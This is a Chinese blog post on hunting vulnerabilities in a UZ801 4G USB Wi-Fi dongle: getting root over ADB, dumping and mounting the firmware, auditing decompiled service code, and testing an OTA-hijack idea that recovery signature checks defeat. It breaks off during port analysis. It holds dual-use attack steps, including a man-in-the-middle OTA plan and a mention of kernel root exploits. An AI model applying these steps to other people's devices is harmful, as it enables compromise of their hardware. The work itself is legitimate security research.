神秘UZ801_v2.1漏洞挖掘实战
CVE-2026-52200与CVE-2026-52199
刷入Debian
访问192.168.100.1/usbdebug.html 过一会随身wifi自动重启重启成功后ADB就已经开启成功了。
1
2
3
PS C:\Users\lamap> adb devices
List of devices attached
0123456789ABCDEF device
重启之后发现不是9008而是90B6。Qualcomm HS-USB MDM Diagnostics 90B6 (COM10) 是高通的诊断端口(Diag 端口)。
输入:
1
adb reboot edl
发现已经切换成9008。此时,设备出现假死,所有指示灯全部熄灭,电脑上不会显示磁盘,ADB 也会断开,只有在设备管理器的端口里能看到 Qualcomm HS-USB QDLoader 9008。
1
2
3
4
5
6
7
8
9
10
> BY-MIKO FORCE !
> Searching edl port....OK
> QDLOADER 9008 PORT COM11
> Checking HW0x007050e1
> Checking cpu.MSM8916
> Checking brand......unkcnow
> Sending loader...Done
> LOAD PARTITION STRUCTURE: SUCCESS
> PARTITION COUNT : 27>EMMC SIZE :3.61 GB
00m: 03s
备份之后拔下断电,退出9008模式
第一步:进入 Fastboot 模式
- 确保随身 WiFi 插在电脑上。
- 打开 PowerShell,输入命令:
adb reboot bootloader并回车。 - 随身 WiFi 会重启(指示灯可能会变成常亮红灯,或者常亮不闪烁)。
- 在 PowerShell 中输入:
fastboot devices并回车。- 如果出现一串代码加上
fastboot字样:说明准备就绪,可以开始刷机了! - 如果什么都没显示:说明电脑没装 Fastboot 驱动,去设备管理器里给带有感叹号的
Android设备更新驱动(安装 Android Bootloader Interface)。
- 如果出现一串代码加上
方案一:把它打回原形(恢复复合设备)
- 在设备管理器中,右键点击你截图里的这个
Android ADB Interface,选择 “更新驱动程序”。 - 点击 “浏览我的电脑以查找驱动程序”。
- 点击 “让我从计算机上的可用驱动程序列表中选取”。
- 关键点: 看看弹出的列表里,有没有叫
USB 复合设备(USB Composite Device) 的选项。- 如果有: 毫不犹豫地双击它!安装完后,设备管理器会“闪烁”刷新,它会正确地分裂出两个设备(一个网卡,一个真正的 ADB)。
回归安全分析
刷完机以后如果要进入9008:
1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\lamap> adb devices
* daemon not running; starting now at tcp:5037
* daemon started successfully
List of devices attached
0123456789 device
PS C:\Users\lamap> adb reboot bootloader
PS C:\Users\lamap> fastboot devices
a10238f4 fastboot
PS C:\Users\lamap> fastboot oem reboot-edl
OKAY [ 0.005s]
Finished. Total time: 0.006s
注意要用冷门语法 fastboot oem reboot-edl
把原装系统装进去以后,先看看扒一扒原系统:
1
2
binwalk ./UZ801.bin > scan_log.txt
fdisk -l ./UZ801.bin > fdisk_log.txt
前者输出太多,后者输出如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
备份 GPT 表损坏,但主表似乎正常,将使用它。
备份 GPT 表不在设备的末尾位置。
Disk ./UZ801.bin:3.61 GiB,3875520000 字节,7569375 个扇区
单元:扇区 / 1 * 512 = 512 字节
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节
磁盘标签类型:gpt
磁盘标识符:98101B32-BBE2-4BF2-A06E-2BB33D000C20
设备 起点 末尾 扇区 大小 类型
./UZ801.bin1 131072 262143 131072 64M Microsoft 基本数据
./UZ801.bin2 262144 263167 1024 512K 未知
./UZ801.bin3 263168 264191 1024 512K Microsoft 基本数据
./UZ801.bin4 264192 266239 2048 1M 未知
./UZ801.bin5 266240 268287 2048 1M Microsoft 基本数据
./UZ801.bin6 268288 269311 1024 512K 未知
./UZ801.bin7 269312 270335 1024 512K Microsoft 基本数据
./UZ801.bin8 270336 271359 1024 512K 未知
./UZ801.bin9 271360 272383 1024 512K Microsoft 基本数据
./UZ801.bin10 272384 273407 1024 512K 未知
./UZ801.bin11 273408 274431 1024 512K Microsoft 基本数据
./UZ801.bin12 274432 276479 2048 1M Microsoft 基本数据
./UZ801.bin13 276480 279551 3072 1.5M 未知
./UZ801.bin14 279552 282623 3072 1.5M 未知
./UZ801.bin15 282624 284671 2048 1M 未知
./UZ801.bin16 284672 284673 2 1K 未知
./UZ801.bin17 284674 284689 16 8K 未知
./UZ801.bin18 284690 305169 20480 10M 未知
./UZ801.bin19 393216 393279 64 32K 未知
./UZ801.bin20 393280 396351 3072 1.5M 未知
./UZ801.bin21 396352 396383 32 16K 未知
./UZ801.bin22 396384 429151 32768 16M 未知
./UZ801.bin23 429152 2067551 1638400 800M Microsoft 基本数据
./UZ801.bin24 2067552 2133087 65536 32M Microsoft 基本数据
./UZ801.bin25 2133088 2395231 262144 128M Microsoft 基本数据
./UZ801.bin26 2395232 2427999 32768 16M 未知
./UZ801.bin27 2428000 7569374 5141375 2.5G Microsoft 基本数据
其中,./UZ801.bin23需要重点关注。在高通 4G 随身 WiFi 的原厂固件里,这个大小的分区 99% 就是 system 分区。这里存放着 Android 的所有二进制文件、系统库、以及厂家自定义的 Web 后台服务程序。
./UZ801.bin27显然是userdata
我们直接本地挂载:
1
2
sudo losetup -fP ./UZ801.bin
lsblk
结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 3.6G 0 loop
├─loop0p1 259:0 0 64M 0 part
├─loop0p2 259:1 0 512K 0 part
├─loop0p3 259:2 0 512K 0 part
├─loop0p4 259:3 0 1M 0 part
├─loop0p5 259:4 0 1M 0 part
├─loop0p6 259:5 0 512K 0 part
├─loop0p7 259:6 0 512K 0 part
├─loop0p8 259:7 0 512K 0 part
├─loop0p9 259:8 0 512K 0 part
├─loop0p10 259:9 0 512K 0 part
├─loop0p11 259:10 0 512K 0 part
├─loop0p12 259:11 0 1M 0 part
├─loop0p13 259:12 0 1.5M 0 part
├─loop0p14 259:13 0 1.5M 0 part
├─loop0p15 259:14 0 1M 0 part
├─loop0p16 259:15 0 1K 0 part
├─loop0p17 259:16 0 8K 0 part
├─loop0p18 259:17 0 10M 0 part
├─loop0p19 259:18 0 32K 0 part
├─loop0p20 259:19 0 1.5M 0 part
├─loop0p21 259:20 0 16K 0 part
├─loop0p22 259:21 0 16M 0 part
├─loop0p23 259:22 0 800M 0 part
├─loop0p24 259:23 0 32M 0 part
├─loop0p25 259:24 0 128M 0 part
├─loop0p26 259:25 0 16M 0 part
└─loop0p27 259:26 0 2.5G 0 part
直接挂载映射:
1
2
3
4
mkdir ~/android_system
sudo mount -o ro /dev/loop0p23 ~/android_system
cd ~/android_system
ls -liah
看输出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
总计 84K
2 drwxr-xr-x. 15 root root 4.0K 1月 1 1970 .
690 drwxr-x--- 19 lamaper lamaper 4.0K 5月 8 23:27 ..
12 drwxr-xr-x. 2 root root 4.0K 7月 15 2022 app
52 drwxr-xr-x. 3 root 2000 8.0K 7月 15 2022 bin
307 -rw-r--r--. 1 root root 5.6K 7月 15 2022 build.prop
308 -rw-r--r--. 1 root root 5.3K 7月 15 2022 build.prop.bakforspec
309 drwxr-xr-x. 14 root root 4.0K 7月 15 2022 etc
609 drwxr-xr-x. 2 root root 4.0K 7月 15 2022 fonts
668 drwxr-xr-x. 3 root root 4.0K 7月 15 2022 framework
779 drwxr-xr-x. 9 root root 8.0K 7月 15 2022 lib
11 drwx------. 2 root root 4.0K 1月 1 1970 lost+found
1101 drwxr-xr-x. 3 root root 4.0K 7月 15 2022 media
1315 drwxr-xr-x. 2 root root 4.0K 7月 15 2022 priv-app
1336 drwxr-xr-x. 3 root root 4.0K 7月 15 2022 tts
1350 drwxr-xr-x. 8 root root 4.0K 7月 15 2022 usr
1420 drwxr-xr-x. 13 root 2000 4.0K 7月 15 2022 vendor
1673 drwxr-xr-x. 2 root 2000 4.0K 7月 15 2022 xbin
看看编译信息:
1
cat build.prop
有结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
# begin build properties
# autogenerated by buildinfo.sh
ro.build.id=UZ801
ro.build.display.id=V3.4.3
ro.build.version.incremental=eng..20220715
ro.build.version.sdk=19
ro.build.version.codename=REL
ro.build.version.release=4.4.4
ro.build.date=Fri Jul 15 16:04:28 CST 2022
ro.build.date.utc=1657872268
ro.build.type=userdebug
ro.build.user=
ro.build.host=be7be4acc41b
ro.build.tags=test-keys
ro.product.model=UZ801
ro.product.brand=qcom
ro.product.name=msm8916_32_512
ro.product.device=msm8916_32_512
ro.product.board=ALK
ro.product.cpu.abi=armeabi-v7a
ro.product.cpu.abi2=armeabi
ro.product.manufacturer=Qualcomm Technology
ro.product.locale.language=zh
ro.product.locale.region=CN
ro.wifi.channels=
ro.board.platform=msm8916
# ro.build.product is obsolete; use ro.product.device
ro.build.product=msm8916_32_512
# Do not try to parse ro.build.description or .fingerprint
ro.build.description=msm8916_32_512-userdebug 4.4.4 KTU84P eng..20220715 test-keys
ro.build.fingerprint=qcom/msm8916_32_512/msm8916_32_512:4.4.4/KTU84P/eng..20220715:userdebug/test-keys
ro.build.characteristics=default
# end build properties
#
# from device/qcom/msm8916_32_512/system.prop
#
#
# system.prop for msm8916
#
#rild.libpath=/system/lib/libreference-ril.so
rild.libpath=/system/vendor/lib/libril-qc-qmi-1.so
rild.libargs=-d /dev/smd0
persist.rild.nitz_plmn=
persist.rild.nitz_long_ons_0=
persist.rild.nitz_long_ons_1=
persist.rild.nitz_long_ons_2=
persist.rild.nitz_long_ons_3=
persist.rild.nitz_short_ons_0=
persist.rild.nitz_short_ons_1=
persist.rild.nitz_short_ons_2=
persist.rild.nitz_short_ons_3=
ril.subscription.types=NV,RUIM
DEVICE_PROVISIONED=1
# Start in cdma mode
ro.telephony.default_network=11
debug.sf.hw=1
debug.egl.hw=1
debug.composition.type=c2d
persist.hwc.mdpcomp.enable=true
debug.mdpcomp.logs=0
dalvik.vm.heapsize=36m
dev.pm.dyn_samplingrate=1
persist.demo.hdmirotationlock=false
#ro.hdmi.enable=true
#tunnel.decode=true
#tunnel.audiovideo.decode=true
#lpa.decode=false
#lpa.use-stagefright=true
#persist.speaker.prot.enable=false
#
# system props for the cne module
#
persist.cne.feature=4
#
# system props for the dpm module
#
persist.dpm.feature=0
#system props for the MM modules
media.stagefright.enable-player=true
media.stagefright.enable-http=true
media.stagefright.enable-aac=true
media.stagefright.enable-qcp=true
media.stagefright.enable-fma2dp=true
media.stagefright.enable-scan=true
mmp.enable.3g2=true
media.aac_51_output_enabled=true
#codecs:(PARSER_)AAC AC3 ASF AVI DTS 3G2 MP2TS QCP FLAC
mm.enable.qcom_parser=168563
#
# system props for the data modules
#
ro.use_data_netmgrd=true
persist.data.netmgrd.qos.enable=true
#system props for time-services
persist.timed.enable=true
#
# system prop for opengles version
#
# 196608 is decimal for 0x30000 to report version 3
ro.opengles.version=196608
# System property for cabl
ro.qualcomm.cabl=0
#
# System props for telephony
# System prop to turn on CdmaLTEPhone always
telephony.lteOnCdmaDevice=1
#Simulate sdcard on /data/media
#
persist.fuse_sdcard=true
#
#snapdragon value add features
#
ro.qc.sdk.audio.ssr=false
##fluencetype can be "fluence" or "fluencepro" or "none"
ro.qc.sdk.audio.fluencetype=none
persist.audio.fluence.voicecall=true
persist.audio.fluence.voicerec=false
persist.audio.fluence.speaker=true
#Set for msm8916
tunnel.audio.encode = false
ro.config.low_ram=true
#Buffer size in kbytes for compress offload playback
audio.offload.buffer.size.kb=32
#Enable offload audio video playback by default
av.offload.enable=true
#enable voice path for PCM VoIP by default
use.voice.path.for.pcm.voip=true
#
#System property for FM transmitter
#
ro.fm.transmitter=false
#enable dsp gapless mode by default
audio.offload.gapless.enabled=true
#Set composition for USB
persist.sys.usb.config=rndis,serial_smd,diag,adb
persist.adb.tcp.port=7628
#property to enable user to access Google WFD settings
persist.debug.wfd.enable=1
#propery to enable VDS WFD solution
persist.hwc.enable_vds=1
persist.sys.ssr.enable_ramdumps=0
persist.sys.ssr.restart_level=modem
#enable low_ram property on low-tier devices
ro.config.low_ram=true
#disable atlas service on low-tier devices
config.disable_atlas=true
#reduce background apps limit to 16 on low-tier devices
ro.sys.fw.bg_apps_limit=16
#property to configure value of tile size and maxtile for swe
swe.tile.width=128
swe.tile.height=128
swe.tile.maxtile=128
#
# ADDITIONAL_BUILD_PROPERTIES
#
persist.radio.multisim.config=ssss
dalvik.vm.heapstartsize=5m
dalvik.vm.heapgrowthlimit=48m
dalvik.vm.heapsize=128m
dalvik.vm.heaptargetutilization=0.75
dalvik.vm.heapminfree=512k
dalvik.vm.heapmaxfree=2m
keyguard.no_require_sim=true
ro.com.android.dataroaming=true
ro.com.android.dateformat=MM-dd-yyyy
ro.config.ringtone=Ring_Synth_04.ogg
ro.config.notification_sound=pixiedust.ogg
ro.carrier=unknown
ro.config.alarm_alert=Alarm_Classic.ogg
ro.vendor.extension_library=/vendor/lib/libqc-opt.so
persist.radio.apm_sim_not_pwdn=1
persist.sys.logkit.ctrlcode=1
persist.sys.dalvik.vm.lib=libdvm.so
dalvik.vm.lockprof.threshold=500
net.bt.name=Android
dalvik.vm.stack-trace-file=/data/anr/traces.txt
persist.gps.qc_nlp_in_use=1
persist.loc.nlp_name=com.qualcomm.services.location
ro.gps.agps_provider=1
ro.pip.gated=0
persist.radio.calls.on.ims=0
persist.radio.jbims=0
persist.radio.csvt.enabled=false
persist.radio.custom_ecc=1
persist.radio.rat_on=combine
persist.radio.mt_sms_ack=20
#
# Properties to overwrite (Default)
#
# disable "keep SIM alive" in LPM feature
persist.radio.apm_sim_not_pwdn=0
# enable restoring mode_pref when manual select network with rat
persist.radio.restore_mode_pref=1
persist.env.c.phone.matchnum=11
我们发现一些有用的东西:
ro.build.type=userdebug
这是这份文件里最有价值的一行, 正常的商用手机出厂都是 user 版本,但这块板子居然是 userdebug,说明直接开启了调试。我们测试一下:
1
2
3
4
5
6
PS C:\Users\lamap> adb devices
List of devices attached
0123456789ABCDEF device
PS C:\Users\lamap> adb root
adbd is already running as root
直接获得了root权限
ro.build.version.release=4.4.4
Android 4.4.4 (KitKat),API Level 19。这意味着这是一个发布于 2014 年的上古系统,它的内核版本极大概率停留在 3.10.x 甚至更早。 这个版本的 Linux 内核有大名鼎鼎的 Dirty COW (CVE-2016-5195)、Towelroot (CVE-2014-3153) 。如果你以后在 Web 端找到了一个低权限的命令注入点,直接传一个编译好的二进制 payload 上去跑一下,瞬间就能拿到 root。
ro.product.cpu.abi=armeabi-v7a
这意味着这是一个纯 32 位的 ARM 架构系统。32 位系统的 ASLR 熵值很低,如果存在二进制底层漏洞,比如栈溢出,利用起来比 64 位简单得多。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ls -liah ./priv-app
总计 52M
1315 drwxr-xr-x. 2 root root 4.0K 7月 15 2022 .
2 drwxr-xr-x. 15 root root 4.0K 1月 1 1970 ..
1316 -rw-r--r--. 1 root root 167K 7月 15 2022 CalendarProvider.apk
1317 -rw-r--r--. 1 root root 310K 7月 15 2022 ContactsProvider.apk
1318 -rw-r--r--. 1 root root 14K 7月 15 2022 DefaultContainerService.apk
1319 -rw-r--r--. 1 root root 2.6M 7月 15 2022 Dialer.apk
1320 -rw-r--r--. 1 root root 215K 7月 15 2022 DownloadProvider.apk
1321 -rw-r--r--. 1 root root 9.3K 7月 15 2022 FusedLocation.apk
1322 -rw-r--r--. 1 root root 55K 7月 15 2022 InputDevices.apk
1323 -rw-r--r--. 1 root root 124K 7月 15 2022 IwprivService.apk
1324 -rw-r--r--. 1 root root 16M 7月 15 2022 Launcher2.apk
1325 -rw-r--r--. 1 root root 104K 7月 15 2022 MediaProvider.apk
1326 -rw-r--r--. 1 root root 23M 7月 15 2022 MifiService.apk
1327 -rw-r--r--. 1 root root 1.3M 7月 15 2022 Mms.apk
1328 -rw-r--r--. 1 root root 63K 7月 15 2022 MultisimSettings.apk
1329 -rw-r--r--. 1 root root 5.6K 7月 15 2022 OneTimeInitializer.apk
1330 -rw-r--r--. 1 root root 8.0K 7月 15 2022 ProxyHandler.apk
1331 -rw-r--r--. 1 root root 4.6M 7月 15 2022 Settings.apk
1332 -rw-r--r--. 1 root root 117K 7月 15 2022 SettingsProvider.apk
1333 -rw-r--r--. 1 root root 17K 7月 15 2022 Shell.apk
1334 -rw-r--r--. 1 root root 2.7M 7月 15 2022 SystemUI.apk
1335 -rw-r--r--. 1 root root 1017K 7月 15 2022 TeleService.apk
一眼顶针,发现
1
1326 -rw-r--r--. 1 root root 23M 7月 15 2022 MifiService.apk
巨大无比,也许这就是我们要找到主服务。
失败的Web审计
一反编译就发现了ShellUtils,看到有这么多command,十分兴奋。结果观察了一下,发现根本没调用,是死代码。
于是转向Runtime.getRuntime().exec
在这里发现几个很有意思的东西:
WanApnController: Runtime.getRuntime().exec(command);
WanDataController: Runtime.getRuntime().exec(command);
WifiApController: Runtime.getRuntime().exec(command);
此外,还有官方留下的后门:Runtime.getRuntime().exec("setprop persist.sys.usb.config rndis,serial_smd,diag,adb");
setprop是 Android 修改系统属性的命令。rndis:开启 USB 共享网络(让你插上电脑能上网)。serial_smd,diag:高通芯片的底层诊断端口(9008 刷机、基带调试全靠它)。adb:开启 Android Debug Bridge
虽然这个板子已经开启了userdebug自动能获取root,但聊胜于无。
然而 WanApnController: Runtime.getRuntime().exec(command); 和 WanDataController: Runtime.getRuntime().exec(command); 并没有什么卵用,无法利用, WifiApController: Runtime.getRuntime().exec(command); 代码到是有拼接,但是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void setWlanDns(int index, String dns) {
String command = "getprop net.rmnet0.dns " + index + " " + dns;
try {
Process process = Runtime.getRuntime().exec(command);
InputStreamReader ir = new InputStreamReader(process.getInputStream());
BufferedReader input = new BufferedReader(ir);
StringBuffer sb = new StringBuffer(HttpVersions.HTTP_0_9);
while (true) {
String temp = input.readLine();
if (temp != null) {
sb.append(temp);
} else {
input.close();
Log.d(TAG, "set DNS ok: " + dns);
return;
}
}
} catch (Exception e) {
Log.d(TAG, "get DNS error");
}
}
由于Java 的 Runtime.exec(String) 不走 Shell,没法拼接,管道符用不了啥都白干。
于是转变思路,看看另一个:
1
2
3
4
5
6
7
public boolean doShellCommand(java.lang.String r23) throws java.lang.Throwable {
/*
Method dump skipped, instruction units count: 436
To view this dump change 'Code comments level' option to 'DEBUG'
*/
throw new UnsupportedOperationException("Method not decompiled: com.mifiservice.device.WanDataController.doShellCommand(java.lang.String):boolean");
}
然而jadx在这里拉了,没办法只能用Fallback看看汇编:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean doShellCommand(java.lang.String r23) {
...
java.lang.Runtime r10 = java.lang.Runtime.getRuntime()
r9 = 0
r7 = 0
java.lang.String r18 = "sh"
r0 = r18
java.lang.Process r9 = r10.exec(r0) // Catch: java.lang.Throwable -> L180 java.lang.Exception -> L19a
java.io.DataOutputStream r8 = new java.io.DataOutputStream // Catch: java.lang.Throwable -> L180 java.lang.Exception -> L19a
java.io.OutputStream r18 = r9.getOutputStream() // Catch: java.lang.Throwable -> L180 java.lang.Exception -> L19a
r0 = r18
r8.<init>(r0) // Catch: java.lang.Throwable -> L180 java.lang.Exception -> L19a
.....
}
看到这直接爽了,这么大的sh谁不喜欢,于是兴高采烈的找谁用了他,然而,有且只有一个:
1
2
3
4
5
6
7
8
protected java.lang.Boolean doInBackground2(java.lang.Integer... r3) {
r2 = this;
java.lang.String r0 = r2.switchBand
com.mifiservice.device.WanDataController r1 = r2.this$0
boolean r1 = r1.doShellCommand(r0)
java.lang.Boolean r1 = java.lang.Boolean.valueOf(r1)
return r1
}
它所在的ChangeSimTask 类在整个生命周期中没有被实例化,Web之路就此断送。
依旧失败的OTA劫持
除了Shell,这里还有个很逆天的OTA逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
package com.mifiservice.ota;
...
/* JADX INFO: loaded from: classes.dex */
public class Updater {
private static final boolean DEBUG = false;
private static final String TAG = "Updater";
private static Updater instance;
private long downloadId;
private DownloadManager downloadManager;
private String downloadMd5;
private Context mContext;
private PowerManager powerManager;
private Timer timer = new Timer();
private TimerTask timerTask = new TimerTask() { // from class: com.mifiservice.ota.Updater.1
@Override // java.util.TimerTask, java.lang.Runnable
public void run() {
Log.e(Updater.TAG, "doCheckUpdate ");
Updater.this.doCheckUpdate();
}
};
private BroadcastReceiver updaterReceiver = new BroadcastReceiver() { // from class: com.mifiservice.ota.Updater.2
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) throws Throwable {
if ("android.intent.action.DOWNLOAD_COMPLETE".equals(intent.getAction())) {
long id = intent.getLongExtra("extra_download_id", -2L);
if (Updater.this.downloadId == id) {
Updater.this.deleteFile("/data/update.zip");
Updater.this.copyFile("/sdcard/data/update.zip", "/data/update.zip");
Updater.this.doUpdate();
}
}
}
};
private static File RECOVERY_DIR = new File("/cache/recovery");
private static File COMMAND_FILE = new File(RECOVERY_DIR, "command");
public static Updater getInstance() {
if (instance == null) {
instance = new Updater(MifiService.getContext());
}
return instance;
}
public Updater(Context context) {
this.mContext = null;
this.mContext = context;
this.downloadManager = (DownloadManager) this.mContext.getSystemService("download");
this.powerManager = (PowerManager) this.mContext.getSystemService("power");
IntentFilter filter = new IntentFilter();
filter.addAction("android.intent.action.DOWNLOAD_COMPLETE");
this.mContext.registerReceiver(this.updaterReceiver, filter);
this.timer.schedule(this.timerTask, 120000L, 1800000L);
}
public void doUpdate() throws Throwable {
File file = new File("/data/update.zip");
if (file.exists()) {
String md5 = TextUtil.calcMd5(file);
if (this.downloadMd5.equals(md5)) {
try {
recoveryMode(this.powerManager);
} catch (IOException e) {
Log.d(TAG, "err1");
}
}
}
}
public void copyFile(String oldPath, String newPath) {
...
}
public void deleteFile(String filePath) {
new File(filePath).delete();
}
/* JADX INFO: Access modifiers changed from: private */
public void downloadApp(String md5) {
Log.d(TAG, "begin download update.zip :" + md5);
String url = "http://120.77.62.229:8080/file/doDownload?md5=" + md5 + "&imei=" + WanDataController.getInstance().getIMEI();
DownloadManager.Request down = new DownloadManager.Request(Uri.parse(url));
down.setAllowedNetworkTypes(3);
deleteFile("/sdcard/data/update.zip");
down.setVisibleInDownloadsUi(false);
down.setDestinationInExternalPublicDir("/data", "update.zip");
down.setNotificationVisibility(2);
this.downloadMd5 = md5;
this.downloadId = this.downloadManager.enqueue(down);
}
public class CheckUpdateTask extends AsyncTask<String, Integer, String> {
public CheckUpdateTask() {
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // android.os.AsyncTask
public String doInBackground(String... params) {
try {
String url = "http://120.77.62.229:8080/file/checkUpdate?&device=" + DeviceController.getInstance().getDeviceName() + "&swv=" + DeviceController.getInstance().getSWVersion() + "&imei=" + WanDataController.getInstance().getIMEI();
return NetUtil.httpGet(url);
} catch (Exception e) {
Log.e(Updater.TAG, "err3");
return null;
}
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // android.os.AsyncTask
public void onPostExecute(String result) {
if (TextUtil.isEmpty(result)) {
Log.e(Updater.TAG, "no available update");
} else if (DeviceController.getInstance().isCharging() || DeviceController.getInstance().getBatteryCapacity() >= 30) {
Updater.this.downloadApp(result);
}
}
}
public int[] getBytesAndStatus(long downloadId) {
..
}
public void doCheckUpdate() {
CheckUpdateTask task = new CheckUpdateTask();
task.execute(new String[0]);
}
private void recoveryMode(PowerManager pm) throws IOException {
RECOVERY_DIR.mkdirs();
FileWriter command = new FileWriter(COMMAND_FILE);
try {
command.write("--update_package=/data/update.zip");
command.write(ShellUtils.COMMAND_LINE_END);
command.close();
pm.reboot("recovery");
throw new IOException("Reboot failed (no permissions?)");
} catch (Throwable th) {
command.close();
throw th;
}
}
}
在 CheckUpdateTask 和 downloadApp 方法中,检查更新和下载固件的 URL 全部是明文的 HTTP:
1
2
String url = "http://120.77.62.229:8080/file/checkUpdate?...";
String url = "http://120.77.62.229:8080/file/doDownload?...";
还有形同虚设的MD5 校验,这是整个 OTA 逻辑中最牛逼的地方:
1
2
3
4
String md5 = TextUtil.calcMd5(file); // 计算下载下来的文件的 MD5
if (this.downloadMd5.equals(md5)) { // 和服务器返回的 MD5 进行比较
recoveryMode(this.powerManager);
}
这里的 this.downloadMd5 是从刚才那个没有任何加密的 HTTP 接口 (checkUpdate) 里获取的。
所以理论上的 OTA 劫持,我们可以:
- 在网络层拦截目标设备发往
120.77.62.229:8080的流量。 - 当代码的每半小时检查一次
1800000L的计时器触发doCheckUpdate发出 GET 请求时,攻击者伪造响应,返回一个恶意update.zip的 MD5 值。 - 设备收到伪造的 MD5 后,会接着请求
doDownload。攻击者拦截此请求,并下恶意update.zip - 设备下载完后,计算恶意文件的 MD5,发现与刚才攻击者给的假 MD5 一致。设备认为下载无误,随即重启进入 Recovery 模式,自动将包含后门的恶意固件刷入系统。
但在实战中还有一个关键的防御节点需要去验证:Recovery 模式的签名校验机制。当设备重启进入 Recovery 并执行 --update_package=/data/update.zip 时,原生的 Android Recovery 机制理应去校验这个 update.zip 的数字签名。
所以我们得查看我的机子是否有这个机制。
来个骚的操作:在电脑上随便建一个 test.txt,然后把它压缩成 update.zip。这个包绝对是不合法的:
adb push update.zip /data/update.zip
adb shell "mkdir -p /cache/recovery"
adb shell "echo '--update_package=/data/update.zip' > /cache/recovery/command"
adb shell "reboot recovery"
实验结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PS E:\Android> adb shell
root@msm8916_32_512:/ # cat /cache/recovery/last_log
__bionic_open_tzdata: couldn't find any tzdata when looking for localtime!
__bionic_open_tzdata: couldn't find any tzdata when looking for GMT!
__bionic_open_tzdata: couldn't find any tzdata when looking for posixrules!
Starting recovery on Thu Jan 1 00:34:56 1970
recovery filesystem table
=========================
0 /system ext4 /dev/block/bootdevice/by-name/system 0
1 /cache ext4 /dev/block/bootdevice/by-name/cache 0
2 /data ext4 /dev/block/bootdevice/by-name/userdata 0
3 /sdcard vfat /dev/block/mmcblk1p1 0
4 /boot emmc /dev/block/bootdevice/by-name/boot 0
5 /recovery emmc /dev/block/bootdevice/by-name/recovery 0
6 /misc emmc /dev/block/bootdevice/by-name/misc 0
7 /tmp ramdisk ramdisk 0
....
Finding update package...
I:Update location: /data/update.zip
Opening update package...
I:read key e=3 hash=20
I:1 key(s) loaded from /res/keys
Verifying update package...
E:footer is wrong
I:verify_file returned 1
E:signature verification failed
Installation aborted.
显然,过不了签名这一关,又寄了。
前路未知的二进制审计
Web死了,那只能看看Pwn。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@msm8916_32_512:/ # netstat -tulnp
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp 0 0 192.168.100.1:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:7628 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5037 0.0.0.0:* LISTEN
udp 0 0 127.0.0.1:53 0.0.0.0:* CLOSE
udp 0 0 192.168.100.1:53 0.0.0.0:* CLOSE
udp 0 0 0.0.0.0:67 0.0.0.0:* CLOSE
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 ::ffff:192.168.100.1:80 ::ffff:192.168.100.175:54940 ESTABLISHED
tcp6 0 0 ::ffff:192.168.100.1:80 ::ffff:192.168.100.175:54941 ESTABLISHED
tcp6 0 0 ::ffff:192.168.100.1:80 ::ffff:192.168.100.175:54943 ESTABLISHED
tcp6 0 0 ::ffff:192.168.100.1:80 ::ffff:192.168.100.175:54942 ESTABLISHED
发现这里有个神奇的0.0.0.0:7628,看看怎么个事:
1
2
3
4
5
6
PS E:\Android\mifi_core> adb shell cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 9999 0 10107 1 00000000 100 0 0 10 0
1: 0164A8C0:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 9999 0 10105 1 00000000 100 0 0 10 0
2: 00000000:1DCC 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 8932 1 00000000 100 0 0 10 0
3: 0100007F:13AD 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 7891 1 00000000 100 0 0 10 0
然后:
1
2
3
4
